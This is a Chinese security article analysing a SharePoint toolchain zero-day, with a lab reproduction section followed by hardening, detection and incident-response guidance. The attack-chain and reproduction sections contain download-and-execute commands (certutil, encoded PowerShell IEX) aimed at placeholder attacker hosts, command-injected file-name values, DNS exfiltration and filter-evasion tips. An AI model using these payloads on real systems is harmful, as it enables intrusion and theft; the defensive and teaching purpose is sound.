SharePoint工具链漏洞：从原理到防御的深度剖析-尧图网络科技

1. 事件概述：当工具链成为攻击者的“高速公路”

最近安全圈里讨论热度很高的一件事，就是围绕微软 SharePoint 的一个新型零日漏洞展开的攻击活动。这个漏洞的特别之处，不在于它本身有多复杂，而在于攻击者巧妙地利用了 SharePoint 的“工具链”特性，构建了一条从外部访问到最终在服务器上执行任意代码的完整攻击链。简单来说，攻击者不是直接“砸门”，而是找到了一个被大家忽视的“侧门”——一个用于支撑 SharePoint 正常工作的内部工具或功能，然后把它变成了一把能打开服务器大门的“万能钥匙”。

“工具链漏洞”这个概念，在软件开发和安全领域其实并不新鲜。它指的是攻击目标并非最终的应用本身，而是应用在构建、部署或运行时所依赖的一系列辅助工具、框架或服务。比如编译器、构建脚本、包管理器、CI/CD流水线组件等。这些工具通常拥有较高的系统权限，且因为身处“幕后”，其安全关注度远不如直接面向用户的前端应用。一旦其中某个环节被攻破，攻击者就能以“合法”的身份，在系统内部长驱直入。这次 SharePoint 的案例，就是“工具链攻击”一个非常典型的现实演绎。攻击者没有去硬啃 SharePoint 核心的、防护可能更严密的 Web 前端漏洞，而是从一个用于处理特定任务（比如文档转换、格式渲染）的辅助服务入手，通过一系列精巧的构造，最终实现了远程代码执行。

这个漏洞目前处于“零日”状态，意味着在公开披露前，就已经有攻击者在野外积极利用它了。对于全球数以百万计使用 SharePoint 进行内部协作、文档管理的企业和组织来说，这无疑是一个需要立即拉响警报的高危威胁。攻击者利用此漏洞，可以完全控制 SharePoint 服务器，窃取所有存储的敏感商业文档、通讯录、项目计划，甚至以该服务器为跳板，进一步渗透内网。更棘手的是，由于利用了“合法”的工具链路径，这类攻击在初期很难被传统的基于特征或行为的入侵检测系统发现，其隐蔽性极强。

2. 核心攻击链拆解：从“请求”到“命令执行”的步步为营

要理解这个漏洞的威力，我们需要把它拆解开，看看攻击者是如何一步步将一次普通的网络访问，变成在服务器上为所欲为的“遥控器”的。整个攻击链可以清晰地分为几个关键阶段，每个阶段都利用了 SharePoint 生态中某个环节的设计特性或安全假设的盲区。

2.1 初始访问点：被滥用的“功能端点”

任何远程攻击都需要一个起点，即一个能够从网络外部接触到的入口。在 SharePoint 中，这样的入口非常多，除了常见的网站页面，还有大量为特定功能服务的 API 端点、Web Service 接口以及后台处理服务。攻击者瞄准的，往往是那些承载了复杂业务逻辑、需要调用系统底层功能（如文件操作、命令执行、外部进程调用）的端点。

例如，SharePoint 有一个强大的功能是文档转换服务。用户上传一个.docx文件，服务器可能需要将其转换为 PDF 以供预览，或者提取文本内容进行索引。这个转换过程，在后台很可能调用了操作系统上的Office组件或者专门的文档处理库。攻击者通过精心构造一个恶意请求，指向这个文档转换接口，并在请求中嵌入特殊的参数或数据。由于这个接口本身是“合法”存在的，防火墙和 WAF 很可能将其视为正常业务流量而放行。这里的关键在于，攻击者需要找到一个端点，其输入参数能够以某种方式“渗透”到后续的系统级调用中。这可能是一个文件上传路径参数、一个用于指定转换引擎的配置项，或者一个被直接拼接进系统命令的字符串。

注意：在安全评估中，这类“功能端点”往往是渗透测试的重点。它们不像登录接口那样有明确的认证和频繁的审计，但又具备较高的权限和复杂的后端逻辑，是理想的高风险入口。

2.2 工具链上下文：权限提升的“跳板”

当恶意请求抵达这个功能端点后，真正的魔法就发生在所谓的“工具链上下文”里。SharePoint 作为一个庞大的企业级应用，其内部并非铁板一块，而是由多个子系统和外部工具协同工作。一个用户请求的处理流程，可能会依次经过 IIS Web 服务器、SharePoint 应用程序池、某个后台 Windows 服务，最终调用一个命令行工具或 COM 组件来完成具体任务。

攻击者利用的漏洞，就发生在某个环节对用户输入数据信任过度，未能进行充分的净化处理。比如，某个服务从请求参数中获取一个文件名，然后直接将其拼接进一个命令行字符串中，准备调用系统级的cmd.exe或PowerShell来执行某个操作。如果攻击者能够控制这个文件名参数，他就可以注入命令分隔符（如&,|,;在 Windows 下，或;,&&,||在类 Unix 环境下，尽管 SharePoint 主要运行于 Windows）以及后续的恶意命令。

更隐蔽的一种情况是“序列化漏洞”。SharePoint 的某些组件之间为了传递复杂对象，会使用 .NET 的二进制序列化或 XML 序列化。如果攻击者能够向一个反序列化端点发送精心构造的恶意序列化数据，就可能触发 .NET 反序列化过程中的代码执行漏洞，直接以应用程序池账户的身份运行任意代码。这种攻击完全发生在内存中，不涉及任何明显的文件操作或命令拼接，因此更难被监测。

这个阶段的核心是“上下文切换”。攻击者将自己的输入，从普通的 HTTP 请求数据，转换成了在 SharePoint 服务器进程（通常具有NETWORK SERVICE或某个特定服务账户权限）上下文中执行的指令。这本质上是一种权限提升，从远程匿名/低权限用户，跃升到了拥有应用程序执行权限的实体。

2.3 实现RCE：构造有效的载荷

获得了在目标服务器进程上下文中执行代码的能力后，攻击者需要将其转化为稳定、可控的远程代码执行。这通常通过“载荷”来实现。载荷是一段旨在完成特定目标的代码，比如反弹一个 Shell 回攻击者机器，或者在服务器上下载并运行恶意软件。

在 Windows 环境下，常见的 RCE 载荷构造方式有：

命令行注入：如果漏洞点是命令拼接，攻击者会注入如ping 127.0.0.1 & certutil -urlcache -f http://attacker.com/shell.exe C:\Windows\Temp\shell.exe & C:\Windows\Temp\shell.exe这样的命令。这条命令先执行一个无害的ping（可能用于绕过简单的检测），然后使用系统自带的certutil工具从远程下载木马，最后执行它。
PowerShell 下载并执行：这是更强大和隐蔽的方式。攻击者可能注入一段命令来启动 PowerShell，并执行形如powershell -c “IEX (New-Object Net.WebClient).DownloadString(‘http://attacker.com/revshell.ps1’)”的指令。这条命令会从远程下载一个 PowerShell 脚本并在内存中直接执行，无需在磁盘上留下可执行文件。
.NET 反序列化 Gadget 链：对于反序列化漏洞，攻击者会利用 .NET 框架中一系列特定的类（称为 “Gadget”），构造一条从反序列化入口点到最终执行Runtime.exec()或类似危险方法的调用链。著名的ysoserial.net工具就是用于生成这种攻击载荷的。这种载荷通常是一串看似杂乱的二进制或 Base64 编码数据，但一旦被易受攻击的反序列化器处理，就会触发连锁反应，执行攻击者的代码。

在实际攻击中，攻击者往往会进行“沙箱逃逸”或“规避检测”的尝试。例如，他们可能会将命令或代码进行多层编码（Base64、Hex 等），或者使用冷门的系统工具（如bitsadmin,msiexec）来下载文件，以避开基于常见字符串（如powershell,IEX,DownloadString）的静态检测规则。

2.4 攻击链的完整串联

将以上三个阶段串联起来，一个完整的攻击流程可能是这样的：

攻击者扫描目标公司对外网开放的 SharePoint 服务器。
通过模糊测试或利用已知的端点信息，定位到某个文档处理服务端点（例如/api/document/convert）。
向该端点发送一个 POST 请求，其中包含一个恶意构造的参数sourceFile，其值为legit.docx & powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AYQB0AHQAYQBjAGsAZQByAC4AYwBvAG0ALwBzAGMAcgBpAHAAdAAuAHAAcwAxACcAKQA=（其中-enc后面是经过 Base64 编码的 PowerShell 下载执行命令）。
SharePoint 后端服务在处理时，未对sourceFile参数进行过滤，直接将其拼接进命令行字符串tool.exe --input “{sourceFile}” --output ...。
系统执行了拼接后的命令，导致在调用tool.exe的同时，也执行了攻击者注入的 PowerShell 命令。
PowerShell 在内存中从攻击者服务器下载并执行第二阶段的攻击脚本，该脚本可能是一个 Cobalt Strike Beacon，为攻击者提供一个功能完整的交互式远程控制会话。
攻击者通过这个会话，开始在 SharePoint 服务器上横向移动、窃取数据或部署持久化后门。

这条攻击链之所以危险，是因为它完美地隐藏在了正常的业务逻辑之下。系统管理员看到的是 SharePoint 在处理一个“文档转换”任务，而安全日志里记录的也只是一次对“合法”API 的访问。直到异常的网络连接或系统资源占用被察觉，可能为时已晚。

3. 漏洞原理深度剖析：信任边界的崩塌

要防御此类攻击，必须深入理解其背后的根本原理。这不仅仅是某个函数忘了过滤输入那么简单，而是系统设计中对“信任边界”的界定出现了严重问题。

3.1 不安全的反序列化

在 .NET 世界，反序列化漏洞是 RCE 的“常青树”。其根源在于，反序列化过程本质上是一个“根据数据重建对象”的过程。为了灵活性，.NET 的BinaryFormatter等序列化器在反序列化时，会按照序列化数据中的类型信息，自动调用对象的构造函数、属性设置器甚至某些特殊方法（如OnDeserialized）。

攻击者通过研究 .NET 基础类库，找到一些类，它们的属性设置器或回调方法在被调用时，会产生“副作用”——比如执行文件操作、发起网络请求，或者最危险的，通过System.Diagnostics.Process.Start执行命令。通过精心组合这些类，形成一个调用链（Gadget Chain），并将恶意序列化数据发送给一个使用BinaryFormatter.Deserialize()且输入可控的服务端点，就能触发远程代码执行。

在 SharePoint 的上下文中，可能存在一些自定义的、用于在服务器间传递配置或状态的对象。这些对象如果使用了不安全的反序列化方式，并且反序列化的数据源来自用户可控的输入（如 Web 请求参数、Cookie、文件内容），就会形成高危漏洞。防御之道在于：第一，避免使用BinaryFormatter等危险序列化器，转而使用安全的替代品如System.Text.Json或Newtonsoft.Json（并正确配置）；第二，对任何反序列化的操作实施严格的类型白名单控制，只允许反序列化预期的、安全的类型。

3.2 命令注入与参数注入

这是更“古典”但也更直接的漏洞模式。当应用程序需要调用外部程序（如命令行工具、脚本解释器）来完成某项功能时，如果将用户输入未经净化就直接拼接进命令行字符串，就会导致命令注入。

例如，一个用于清理临时文件的脚本可能这样写：

string userFileName = Request.QueryString[“file”]; string command = “del C:\\Temp\\” + userFileName; Process.Start(“cmd.exe”, “/c ” + command);

如果用户传入file=legit.txt & calc.exe，那么最终执行的命令将是del C:\Temp\legit.txt & calc.exe，&使得calc.exe也被执行。

参数注入则是命令注入的一种变体。它不注入新的命令，而是篡改已有命令的参数，以达到恶意目的。例如，一个调用tar解压的命令：tar -xvf {userInput}。如果用户输入是archive.tar --checkpoint=1 --checkpoint-action=exec=sh shell.sh，在某些版本的tar中，这会导致在解压过程中执行指定的脚本。

在 SharePoint 的工具链中，调用外部程序处理图片、文档、视频的情况非常普遍。每个这样的调用点都是一个潜在的风险点。防御的核心原则是：永远不要将用户输入直接拼接进命令行。应该使用参数列表（如 .NET 中的ProcessStartInfo.ArgumentList）来传递参数，让系统负责正确的转义和分隔。如果必须拼接，则必须对用户输入进行严格的过滤和转义，只允许预期的字符集（如字母、数字、点、下划线），并过滤掉所有命令分隔符和通配符。

3.3 路径遍历与文件上传结合

工具链漏洞的另一个常见入口是文件操作。SharePoint 允许用户上传文件，这些文件通常会经过病毒扫描、内容检查，然后存储在一个特定目录。然而，如果处理这些文件的后续工具链存在路径遍历漏洞，攻击者就能突破存储隔离。

假设攻击者上传了一个看似正常的文件test.jpg，但服务器端用于生成缩略图的工具，在读取文件路径时存在漏洞。攻击者可能通过修改请求，将文件路径参数指定为../../../windows/system32/cmd.exe。如果该工具以高权限运行，并且没有校验路径是否在预期范围内，它就可能去读取甚至执行系统关键文件。

更复杂的攻击会将文件上传与服务器端的脚本解析功能结合。例如，如果服务器允许上传.aspx文件，并且能通过某个 URL 访问到它，那么上传一个 ASP.NET Web Shell 就能直接获得 RCE。即使不允许上传.aspx，如果存在“文件包含”漏洞，攻击者上传一个包含恶意代码的文本文件，然后通过其他接口（如日志查看器、模板渲染）让服务器以脚本形式包含并执行这个文件，也能达到目的。

防御这类攻击，需要实施“纵深防御”：在文件上传点，进行严格的文件类型检查（不仅看扩展名，更要看文件头魔数）；将上传文件存储在无法直接通过 Web 访问的目录，并通过一个安全的下载服务来提供访问；所有处理用户文件的工具，都必须对输入路径进行规范化，并强制将其限制在指定的安全目录内。

4. 实战复现与深度分析

为了更直观地理解攻击者的手法和漏洞的细节，我们可以在一个严格隔离的测试环境中，尝试复现一个简化版的攻击场景。请注意，以下所有操作仅限用于授权的安全测试、教学研究或个人学习，严禁对任何未经授权的系统进行测试。

4.1 环境搭建与漏洞定位

首先，我们需要一个包含漏洞的 SharePoint 测试环境。由于真实的零日漏洞细节未公开，我们以一个历史上公开的、原理相似的 SharePoint RCE 漏洞（例如 CVE-2020-16953 或 CVE-2019-0604）的复现思路为例进行讲解。你可以使用微软官方提供的旧版本 SharePoint 安装包，或者寻找已经集成好的漏洞靶场环境（如 Vulhub 或某些专注于 .NET 漏洞的靶场项目）。

搭建好环境后，第一步是信息收集。使用浏览器开发者工具、Burp Suite或OWASP ZAP等代理工具，拦截和分析浏览器与 SharePoint 之间的所有通信。重点关注：

API 端点：寻找路径中包含/api/,/_vti_bin/,/_layouts/,/_admin/的请求。这些往往是功能接口。
文件上传点：任何可以上传文档、图片、附件的地方。
文档处理功能：如“下载为 PDF”、“预览”、“转换格式”等按钮触发的请求。
Web Service 描述：访问/_vti_bin/下的.asmx或.svc文件，可能会暴露可用的 SOAP 或 WCF 服务。

假设我们通过分析，发现一个可疑的端点：/api/ImageConversion.ashx?url=...。这个端点似乎接受一个url参数，然后服务器会去获取该 URL 指向的图片并进行转换。这本身就是一个高风险功能（服务器端请求伪造 SSRF 的潜在点），也可能成为工具链攻击的入口。

4.2 构造试探性攻击载荷

我们的目标是测试这个端点是否存在命令注入。首先，我们尝试最基本的探测：让服务器访问一个我们控制的地址，以确认参数是否被执行。

搭建监听：在攻击机（例如一台云服务器或本地虚拟机）上，使用nc命令监听一个端口：nc -lvnp 4444。
构造试探请求：将url参数设置为http://<你的攻击机IP>:4444/test.jpg。如果服务器端处理逻辑是直接调用系统命令（如curl或wget）来下载图片，那么这个连接尝试会被我们的nc监听到。
发送请求：通过浏览器或curl发送请求：http://target-sharepoint/api/ImageConversion.ashx?url=http://attacker-ip:4444/test.jpg。
观察结果：如果nc监听端口收到了来自 SharePoint 服务器的 TCP 连接（即使随后断开），就证明服务器确实尝试访问了我们提供的 URL，参数被成功注入到了某个网络请求命令中。

接下来，尝试命令注入。我们猜测服务器端的命令可能是some_download_tool “{url}” output.jpg。我们尝试注入命令分隔符。在 Windows 环境下，常用的分隔符是&和|。我们构造url参数为：

http://attacker-ip/test.jpg & whoami > C:\temp\test.txt &

这个参数试图在下载命令执行完毕后，执行whoami命令并将结果输出到文件。我们需要对空格和特殊字符进行 URL 编码，最终请求可能看起来像：

http://target-sharepoint/api/ImageConversion.ashx?url=http%3A%2F%2Fattacker-ip%2Ftest.jpg%26%20whoami%20%3E%20C%3A%5Ctemp%5Ctest.txt%20%26

发送请求后，检查服务器上C:\temp\test.txt文件是否被创建（这通常需要另一个漏洞或信息泄露来验证），或者通过 DNS 外带技术来验证命令执行：注入如nslookupwhoami.attacker-domain.com这样的命令，然后在你的 DNS 日志中查看是否有来自目标服务器的查询记录，查询的子域名会包含命令执行的结果。

4.3 漏洞利用与Shell获取

一旦确认命令注入存在，下一步就是获取一个交互式 Shell。在受限环境下，直接反弹 Shell 可能受防火墙限制。更稳妥的方式是分两步走：先下载一个功能更强大的后门程序到服务器磁盘，再执行它。

下载载荷：利用服务器上可能存在的工具进行下载。在 Windows 上，除了certutil，还可以尝试bitsadmin,powershell，甚至msiexec（如果允许从 URL 安装 MSI）。例如，注入命令：
```
& powershell -c “Invoke-WebRequest -Uri ‘http://attacker-ip/beacon.exe’ -OutFile ‘C:\Windows\Temp\beacon.exe’”
```
同样需要对特殊字符进行编码。
执行载荷：下载成功后，再注入另一个命令执行它：
```
& C:\Windows\Temp\beacon.exe
```
这里的beacon.exe可以是Cobalt Strike,Metasploit的meterpreter或任何自定义的远程控制木马。这些工具会与攻击者的控制服务器建立连接，提供一个功能丰富的远程 Shell。
内存执行规避检测：为了规避基于文件落地的检测，更高级的做法是使用纯内存执行的 PowerShell 载荷。例如，使用Invoke-Expression (IEX)直接执行从远程加载到内存中的脚本：
```
& powershell -nop -c “$c=(New-Object Net.WebClient).DownloadString(‘http://attacker-ip/payload.ps1’); IEX $c”
```
这样整个攻击过程不会在磁盘上留下可执行文件，增加了检测难度。

在整个复现过程中，使用代理工具记录每一个请求和响应至关重要。你需要仔细分析错误信息，有时一个模糊的错误提示（如“无效参数”、“路径不存在”）会泄露服务器端是如何处理你的输入的，从而帮助你调整攻击载荷。

实操心得：在真实测试中，命令注入的利用往往不是一蹴而就的。你可能会遇到字符过滤、长度限制、引号转义等问题。需要灵活运用各种技巧，比如使用变量拼接绕过黑名单（who+ami）、使用反引号或 caret（^）转义特殊字符、将命令编码为 Base64 再通过 PowerShell 解码执行等。多准备几种载荷变体，逐一尝试。

5. 防御策略与应急响应指南

面对此类隐蔽而危险的工具链零日攻击，被动等待补丁是远远不够的。必须建立一套覆盖预防、检测、响应全流程的立体化防御体系。

5.1 预防性安全加固

预防是成本最低的防御。针对 SharePoint 及其工具链，应从开发、配置、运维多个层面进行加固：

安全开发生命周期：对于自定义的 SharePoint 解决方案、Web 部件和 API，必须遵循安全编码规范。
- 输入验证与净化：对所有用户输入实施“白名单”验证，只允许符合严格预期的字符和格式。在服务器端进行，而非依赖客户端验证。
- 安全调用外部命令：使用ProcessStartInfo及其ArgumentList属性传递参数，避免字符串拼接。如果必须拼接，使用经过严格审查的转义函数。
- 禁用危险序列化器：在代码和配置中明确禁止使用BinaryFormatter,LosFormatter,SoapFormatter等不安全的序列化器。使用System.Text.Json等安全替代方案。
- 最小权限原则：运行 SharePoint 应用程序池和服务账户的权限应被严格限制，仅授予其完成本职工作所必需的最小权限。避免使用LocalSystem或Administrator等高权限账户。
服务器与环境加固：
- 及时更新：尽管是零日，但一旦微软发布官方补丁，必须第一时间在测试后部署。同时，保持 Windows Server 操作系统、.NET Framework 和所有第三方依赖库（如图像处理库、文档解析库）的最新版本。
- 减少攻击面：在防火墙上严格限制对 SharePoint 服务器的入站访问，只开放必要的端口（如 80, 443）。使用 IIS 的“请求筛选”功能，阻止对可疑文件扩展名（如.asmx,.svc,.ashx如果不需要）和目录的访问。
- 文件操作隔离：将用户上传的文件存储在非系统分区，且该目录无执行权限。对用于处理用户文件的临时目录，设置严格的访问控制列表。
- 禁用不必要的功能：在 SharePoint 管理中心，审查并关闭非必需的服务和功能。例如，如果不需要“文档转换服务”，就将其禁用。

5.2 深度检测与监控

由于攻击利用了合法流程，传统签名检测可能失效。需要部署基于行为和异常的检测机制：

进程行为监控：使用 Sysmon 或 EDR 解决方案，监控 SharePoint 相关进程（如w3wp.exe）产生的子进程。特别关注由这些进程启动的cmd.exe,powershell.exe,certutil.exe,bitsadmin.exe等命令行工具。记录其命令行参数，并建立基线，对异常的命令行（如包含远程 URL、编码字符串）进行告警。
网络流量分析：在 SharePoint 服务器出站方向部署网络流量监控。检测由服务器进程发起的、到外部未知或可疑 IP 地址的 HTTP/HTTPS/DNS 连接，尤其是与已知命令控制服务器或漏洞利用基础设施的通信。
日志聚合与分析：集中收集并分析 Windows 事件日志（特别是 Security, System, Application）、IIS 日志和 SharePoint ULS 日志。编写检测规则，寻找诸如：
- 对敏感 API 端点的异常访问模式（如高频访问、来源 IP 异常）。
- 日志中出现大量的 500 内部服务器错误，可能表明攻击者正在尝试触发漏洞。
- 进程创建事件中，父进程为w3wp.exe但子进程为可疑命令行工具。
文件系统监控：监控 SharePoint 临时目录和系统关键目录（如C:\Windows\Temp,C:\inetpub\temp）的异常文件创建行为，特别是可执行文件、脚本文件或异常的大文件下载。

5.3 事件应急响应流程

一旦怀疑或确认遭受此类攻击，必须立即启动应急响应流程，以遏制损失、清除威胁并恢复业务：

初步确认与隔离：
- 立即隔离：将受影响的 SharePoint 服务器从网络中断开（拔掉网线或防火墙阻断），防止攻击者继续控制或横向移动。
- 保存状态：在关机前，如果条件允许，使用dumpit或FTK Imager等工具对服务器内存进行镜像取证。对系统盘制作完整的磁盘镜像备份，以备后续深入分析。
- 变更冻结：禁止任何人对该服务器进行任何操作，避免破坏现场证据。
影响范围评估：
- 日志审查：迅速调取该服务器及网络边界设备（防火墙、WAF）的日志，确定首次攻击发生的时间、攻击源 IP、以及攻击者尝试访问的端点。
- 横向移动迹象：检查同一网段内其他服务器（尤其是域控制器、数据库服务器）是否有来自该 SharePoint 服务器的异常登录或连接记录。
- 数据泄露评估：审查 SharePoint 内容数据库的访问日志，评估敏感文档是否在攻击时间段内被异常访问或下载。
威胁清除与系统恢复：
- 根除威胁：基于取证分析结果，确定攻击者植入的后门、创建的账户、添加的计划任务等，并彻底清除。不要仅仅删除文件，要检查注册表、服务、WMI 持久化等所有可能的位置。
- 漏洞修复：应用微软发布的所有相关安全更新。如果官方补丁尚未发布，则需要评估和实施临时缓解措施，如通过 IIS URL 重写规则屏蔽特定的攻击请求，或者临时禁用相关的风险功能。
- 重建系统：鉴于攻击者可能已获得系统最高权限，最安全的做法是不要相信现有的系统。应从干净的镜像开始，重新安装操作系统、SharePoint 及所有依赖软件，然后从可靠的备份中恢复数据和配置。在恢复前，必须确保备份数据本身未被攻击者污染。
- 密码重置：重置该服务器上所有服务账户、应用程序池账户以及可能受影响的管理员账户密码。
事后复盘与加固：
- 根本原因分析：详细分析攻击是如何发生的，是哪个具体的漏洞点被利用，现有的防御措施为何失效。
- 改进安全控制：根据分析结果，加固安全策略。例如，部署更严格的应用程序白名单、增强对服务器进程行为的监控、引入更先进的威胁检测平台。
- 更新应急预案：将此次事件的处理经验更新到组织的安全应急预案中，并组织相关团队进行演练。